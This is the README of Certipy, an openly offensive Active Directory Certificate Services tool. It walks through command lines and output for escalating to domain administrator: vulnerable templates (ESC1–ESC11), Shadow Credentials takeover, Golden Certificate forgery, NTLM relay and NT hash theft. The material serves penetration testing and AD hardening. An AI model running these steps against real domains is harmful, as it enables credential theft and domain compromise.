Giter Site home page Giter Site logo

certipy's Introduction

Certipy

Upload Python Package

Certipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). If you're not familiar with AD CS and the various domain escalation techniques, I highly recommend reading Certified Pre-Owned by Will Schroeder and Lee Christensen.

Table of Contents

Installation

pip3 install certipy-ad

Usage

A lot of the usage and features are demonstrated in the blog posts for the release of Certipy 2.0 and 4.0.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...

Active Directory Certificate Services enumeration and abuse

positional arguments:
  {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template}
                        Action
    account             Manage user and machine accounts
    auth                Authenticate using certificates
    ca                  Manage CA and certificates
    cert                Manage certificates and private keys
    find                Enumerate AD CS
    forge               Create Golden Certificates
    ptt                 Inject TGT for SSPI authentication
    relay               NTLM Relay to AD CS HTTP Endpoints
    req                 Request certificates
    shadow              Abuse Shadow Credentials for account takeover
    template            Manage certificate templates

optional arguments:
  -v, --version         Show Certipy's version number and exit
  -h, --help            Show this help message and exit

Find

The find command is useful for enumerating AD CS certificate templates, certificate authorities and other configurations.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy find [-h] [-debug] [-bloodhound] [-old-bloodhound] [-text] [-stdout] [-json] [-output prefix] [-enabled] [-dc-only] [-vulnerable] [-hide-admins] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp]
                    [-timeout seconds] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn debug output on

output options:
  -bloodhound           Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support
  -old-bloodhound       Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support
  -text                 Output result as text
  -stdout               Output result as text to stdout
  -json                 Output result as JSON
  -output prefix        Filename prefix for writing results to

find options:
  -enabled              Show only enabled certificate templates. Does not affect BloodHound output
  -dc-only              Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment
  -vulnerable           Show only vulnerable certificate templates based on nested group memberships. Does not affect BloodHound output
  -hide-admins          Don't show administrator permissions for -text, -stdout, and -json. Does not affect BloodHound output

connection options:
  -scheme ldap scheme
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -target dns/ip address
                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: username@domain
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [LMHASH:]NTHASH
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -sspi                 Use Windows Integrated Authentication (SSPI)
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -no-pass              Don't ask for password (useful for -k and -sspi)

The output can come in various formats. By default, Certipy will output the enumeration results as text, JSON, and BloodHound data.

$ certipy find -u [email protected] -p Passw0rd -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 45 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 23 enabled certificate templates
[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA
[*] Got CA configuration for 'CORP-DC-CA'
[*] Saved BloodHound data to '20220802164803_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20220802164803_Certipy.txt'
[*] Saved JSON output to '20220802164803_Certipy.json'

To only output BloodHound data, you can specify the -bloodhound parameter.

$ certipy find -u [email protected] -p Passw0rd -bloodhound -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 45 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 23 enabled certificate templates
[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA
[*] Got CA configuration for 'CORP-DC-CA'
[*] Saved BloodHound data to '20220802164835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k

The BloodHound data is saved as a ZIP-file that can be imported into my forked version of BloodHound with PKI support.

If you want BloodHound data output that is compatible with the original version of BloodHound, you can pass the -old-bloodhound parameter. Please note that Certipy uses BloodHound's new format, introduced in version 4, but that PKI integration is only supported in the forked version.

Custom Certipy queries for BloodHound can be found in customqueries.json. These will not be necessary for the forked version.

On Linux, custom BloodHound queries can be added in ~/.config/bloodhound/customqueries.json, and for Windows in C:\Users\[USERNAME]\AppData\Roaming\BloodHound\customqueries.json

Request

The req command is useful for requesting, retrieving, and renewing certificates.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy req [-h] [-debug] -ca certificate authority name [-template template name] [-upn alternative UPN] [-dns alternative DNS] [-subject subject] [-retrieve request ID] [-on-behalf-of domain\account] [-pfx pfx/p12 file name] [-key-size RSA key length] [-archive-key]
                   [-renew] [-out output file name] [-web] [-dynamic-endpoint] [-scheme http scheme] [-port PORT] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain] [-p password]
                   [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn debug output on
  -ca certificate authority name

certificate request options:
  -template template name
  -upn alternative UPN
  -dns alternative DNS
  -subject subject      Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL
  -retrieve request ID  Retrieve an issued certificate specified by a request ID instead of requesting a new certificate
  -on-behalf-of domain\account
                        Use a Certificate Request Agent certificate to request on behalf of another user
  -pfx pfx/p12 file name
                        Path to PFX for -on-behalf-of or -renew
  -key-size RSA key length
                        Length of RSA key. Default: 2048
  -archive-key          Send private key for Key Archival
  -renew                Create renewal request

output options:
  -out output file name

connection options:
  -web                  Use Web Enrollment instead of RPC
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -target dns/ip address
                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

rpc connection options:
  -dynamic-endpoint     Prefer dynamic TCP endpoint over named pipe

http connection options:
  -scheme http scheme
  -port PORT            Web Enrollment port. If omitted, port 80 or 443 will be chosen by default depending on the scheme.

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: username@domain
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [LMHASH:]NTHASH
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -sspi                 Use Windows Integrated Authentication (SSPI)
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -no-pass              Don't ask for password (useful for -k and -sspi)

To request a certificate, you must specify the name and host/IP of a Certificate Authority (CA) for enrollment. By default, this will use the provided credentials to enroll in the default User template.

In this example, we request a certificate from the CA corp-CA based on the template User.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 773
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'
[*] Saved certificate and private key to 'john.pfx'

If the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage.

If you're in a domain context on a Windows machine, but you don't know the credentials of the current user, you can use the -sspi parameter, which will make Certipy use Windows APIs for retrieving the proper Kerberos tickets using your current context.

Authenticate

The auth command will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands. See the blog posts for more information on when to use which option.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy auth [-h] -pfx pfx/p12 file name [-no-save] [-no-hash] [-ptt] [-print] [-kirbi] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] [-ldap-shell] [-ldap-port port] [-ldap-user-dn dn]

optional arguments:
  -h, --help            show this help message and exit
  -pfx pfx/p12 file name
                        Path to certificate
  -no-save              Don't save TGT to file
  -no-hash              Don't request NT hash
  -ptt                  Submit TGT for current logon session (Windows only)
  -print                Print TGT in Kirbi format
  -kirbi                Save TGT in Kirbi format
  -debug                Turn debug output on

connection options:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

authentication options:
  -username username
  -domain domain
  -ldap-shell           Authenticate with the certificate via Schannel against LDAP

ldap options:
  -ldap-port port       LDAP port. Default: 389
  -ldap-user-dn dn      Distinguished Name of target account for LDAPS authentication

By default, Certipy will try to extract the username and domain from the certificate (-pfx) for authentication via Kerberos.

$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889

The NT hash and the credential cache (TGT) can be used for further authentication with other tools. If you're in a domain context on a Windows machine, you can use -ptt to inject the TGT into your current session.

If the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. This can sometimes happen if the certificate doesn't contain information about the user (such as Shadow Credentials) or if the domain name cannot be resolved via DNS.

$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889

Shadow Credentials

The shadow command is useful for taking over an account when you can write to the msDS-KeyCredentialLink attribute of the account. Read more about Shadow Credentials here.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain]
                      [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
                      {list,add,remove,clear,info,auto}

positional arguments:
  {list,add,remove,clear,info,auto}
                        Key Credentials action

optional arguments:
  -h, --help            show this help message and exit
  -account target account
                        Account to target. If omitted, the user specified in the target will be used
  -device-id DEVICE_ID  Device ID of the Key Credential Link
  -debug                Turn debug output on

output options:
  -out output file name

connection options:
  -scheme ldap scheme
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -target dns/ip address
                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: username@domain
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [LMHASH:]NTHASH
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -sspi                 Use Windows Integrated Authentication (SSPI)
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -no-pass              Don't ask for password (useful for -k and -sspi)

In short, the Shadow Credentials attack is performed by adding a new "Key Credential" to the target account. The Key Credential can then be used with the PKINIT Kerberos extension for authentication.

Certipy's shadow command has an auto action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.

$ certipy shadow auto -username [email protected] -p Passw0rd -account Jane
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'Jane'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '00f38738-288e-4c85-479a-a6313ab46fe6'
[*] Adding Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane'
[*] Successfully added Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane'
[*] Authenticating as 'Jane' with the certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'jane.ccache'
[*] Trying to retrieve NT hash for 'jane'
[*] Restoring the old Key Credentials for 'Jane'
[*] Successfully restored the old Key Credentials for 'Jane'
[*] NT hash for 'Jane': a87f3a337d73085c45f9416be5787d86

This action is useful if you just want the NT hash or TGT for further authentication. It is possibly to manually add, authenticate, and delete the Key Credential, if desired. See the usage or blog post for more information.

Golden Certificates

Golden Certificates are certificates that are manually forged with a compromised CA's certificate and private key, just like Golden Tickets are forged with a compromised krbtgt account's NT hash.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy forge [-h] -ca-pfx pfx/p12 file name [-upn alternative UPN] [-dns alternative DNS] [-template pfx/p12 file name] [-subject subject] [-issuer issuer] [-crl ldap path] [-serial serial number] [-key-size RSA key length] [-debug] [-out output file name]

optional arguments:
  -h, --help            show this help message and exit
  -ca-pfx pfx/p12 file name
                        Path to CA certificate
  -upn alternative UPN
  -dns alternative DNS
  -template pfx/p12 file name
                        Path to template certificate
  -subject subject      Subject to include certificate
  -issuer issuer        Issuer to include certificate. If not specified, the issuer from the CA cert will be used
  -crl ldap path        ldap path to a CRL
  -serial serial number
  -key-size RSA key length
                        Length of RSA key. Default: 2048
  -debug                Turn debug output on

output options:
  -out output file name

In order to forge a certificate, we need the CA's certificate and private key.

Certipy can automatically retrieve the certificate and private key with the -backup parameter. In order to do so, the user must have administrative privileges on the CA server.

$ certipy ca -backup -ca 'corp-DC-CA' -username [email protected] -hashes fc525c9683e8fe067095ba2ddc971889
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'CORP-DC-CA.pfx'
[*] Cleaning up

With the CA's certificate and private key, we can for instance forge a certificate for the domain controller DC$:

$ certipy forge -ca-pfx CORP-DC-CA.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Saved forged certificate and private key to 'administrator_forged.pfx'

$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889

The forged certificate can then be used for authentication with Certipy's auth command. If the KDC returns KDC_ERR_CLIENT_NOT_TRUSTED, it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate. You can either specify the CRL manually with -crl, or you can use a previously issued certificate as a template with the -template parameter. Please note that the template will include all non-defined extensions and attributes in the new certificate, such as the subject and serial number. Certipy will not include any extended key usage in the forged certificate, which means the certificate can be used for any purpose.

Certificates

The cert command is useful for working with PFX's from other tools, such as Certify or KrbRelay, which creates encrypted PFXs.

Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy cert [-h] [-pfx infile] [-password password] [-key infile] [-cert infile] [-export] [-out outfile] [-nocert] [-nokey] [-debug]

optional arguments:
  -h, --help          show this help message and exit
  -pfx infile         Load PFX from file
  -password password  Set import password
  -key infile         Load private key from file
  -cert infile        Load certificate from file
  -export             Output PFX file
  -out outfile        Output filename
  -nocert             Don't output certificate
  -nokey              Don't output private key
  -debug              Turn debug output on

Certipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can recreate the PFX without the password:

$ certipy cert -pfx encrypted.pfx -password "a387a1a1-5276-4488-9877-4e90da7567a4" -export -out decrypted.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'decrypted.pfx'

The decrypted.pfx file can then be used with Certipy's commands.

It is also possible to use the cert command to extract the private key and certificate from a PFX file by leaving out the -export parameter:

$ certipy cert -pfx john.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)

-----BEGIN CERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----END PRIVATE KEY-----

If you only want the certificate or the private key, you can specify -nokey or -nocert, respectively.

$ certipy cert -pfx john.pfx -nokey
Certipy v4.0.0 - by Oliver Lyak (ly4k)

-----BEGIN CERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----END CERTIFICATE-----

$ certipy cert -pfx john.pfx -nocert
Certipy v4.0.0 - by Oliver Lyak (ly4k)

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----END PRIVATE KEY-----

Domain Escalation

The following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth in Certified Pre-Owned and practical examples can be found in my blog post on the Certipy 2.0 release. Furthermore, ESC9 and ESC10 can be abused as well, but is not directly related to specific features of Certipy.

ESC1

ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the -upn and -dns parameter, respectively.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn [email protected] -dns dc.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identifications
    UPN: '[email protected]'
    DNS Host Name: 'dc.corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc.pfx'

It is also possible to specify only a UPN or a DNS. In the case where both a UPN and DNS are specified, the auth command will ask you which identity to authenticate as.

$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: '[email protected]'
    [1] DNS Host Name: 'dc.corp.local'
> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for '[email protected]': 36a50f712629962b3d5a3641529187b0

ESC2

ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates. See below.

ESC3

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users.

First, we must request a certificate based on the vulnerable certificate template ESC3.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC3-Test
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 781
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'
[*] Saved certificate and private key to 'john.pfx'

We can then use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user by specifying the -on-behalf-of. The -on-behalf-of parameter value must be in the form of domain\user, and not the FQDN of the domain, i.e. corp rather than corp.local.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -on-behalf-of 'corp\Administrator' -pfx john.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 782
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'

And finally, we can use the new certificate to authenticate as corp\Administrator.

$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889

ESC4

ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.

By default, Certipy will overwrite the configuration to make it vulnerable to ESC1.

We can specify the -save-old parameter to save the old configuration, which is useful for restoring the configuration afterwards.

$ certipy template -username [email protected] -password Passw0rd -template ESC4-Test -save-old
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'ESC4-Test' to 'ESC4-Test.json'
[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'

The certificate template is now vulnerable to the ESC1 technique.

Therefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the -upn or -dns parameter.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn [email protected]
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 783
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

If you want to restore the old configuration, you can specify the path to the saved configuration with the -configuration parameter.

$ certipy template -username [email protected] -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'

ESC6

ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration. After the patch for my reported vulnerability CVE-2022–26923, this technique no longer works alone, but must be combined with ESC10.

The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester's objectSid property. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester's objectSid, and not from the SAN. Notice that the objectSid changes depending on the requester in the following example.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn [email protected]
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 2
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-1103'
[*] Saved certificate and private key to 'administrator.pfx'

$ certipy req -username [email protected] -password Passw0rd! -ca corp-DC-CA -target ca.corp.local -template User -upn [email protected]
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-500'
[*] Saved certificate and private key to 'administrator.pfx'

This would not happen if the certificate was vulnerable to ESC1. As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension.

ESC7

ESC7 is when a user has the Manage CA or Manage Certificates access right on a CA. There are no public techniques that can abuse the Manage Certificates access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.

The "Certified Pre-Owned" whitepaper mentions that this access right can be used to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has the Manage CA access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates.

Instead, I've found another technique that doesn't require any service restarts or configuration changes.

Prerequisites

In order for this technique to work, the user must also have the Manage Certificates access right, and the certificate template SubCA must be enabled. With the Manage CA access right, we can fulfill these prerequisites.

The technique relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the SubCA - which will be denied - but then issued by the manager afterwards.

If you only have the Manage CA access right, you can grant yourself the Manage Certificates access right by adding your user as a new officer.

$ certipy ca -ca 'corp-DC-CA' -add-officer john -username [email protected] -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

The SubCA template can be enabled on the CA with the -enable-template parameter. By default, the SubCA template is enabled.

$ certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username [email protected] -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Attack

If we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the SubCA template.

This request will be denied, but we will save the private key and note down the request ID.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn [email protected]
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

With our Manage CA and Manage Certificates, we can then issue the failed certificate request with the ca command and the -issue-request <request ID> parameter.

$ certipy ca -ca 'corp-DC-CA' -issue-request 785 -username [email protected] -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

And finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter.

$ certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

ESC8

ESC8 is when an Enrollment Service has installed and enabled Web Enrollment via HTTP.

To start the relay server, we can run the relay command and specify the CA's IP in -target http://<ip>.

By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.

We can then use a tool such as Coercer to coerce authentication. For domain controllers, we must specify -template DomainController.

$ certipy relay -target 'http://ca.corp.local'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

ESC9 & ESC10

ESC9 and ESC10 is not related to any specific Certipy commands or parameters, but can be abused with Certipy. See the blog post for more information.

ESC11

ESC11 is when the certificate authority is not configured with IF_ENFORCEENCRYPTICERTREQUEST. This makes the RPC service vulnerable to NTLM relay attacks without signing, such as via SMB. The attack is similar to ESC8, except that we're targeting the RPC protocol instead of the HTTP protocol.

To start the relay server, we can run the relay command and specify the CA's IP in -target rpc://<ip>. We must also specify the name of the certificate authority in -ca <name>.

By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.

We can then use a tool such as Coercer to coerce authentication. For domain controllers, we must specify -template DomainController.

$ certipy relay -target 'rpc://ca.corp.local' -ca 'corp-ca'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://ca.corp.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:ca.corp.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@CORP'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 1
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Contact

Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter @ly4k_.

Credits

certipy's People

Contributors

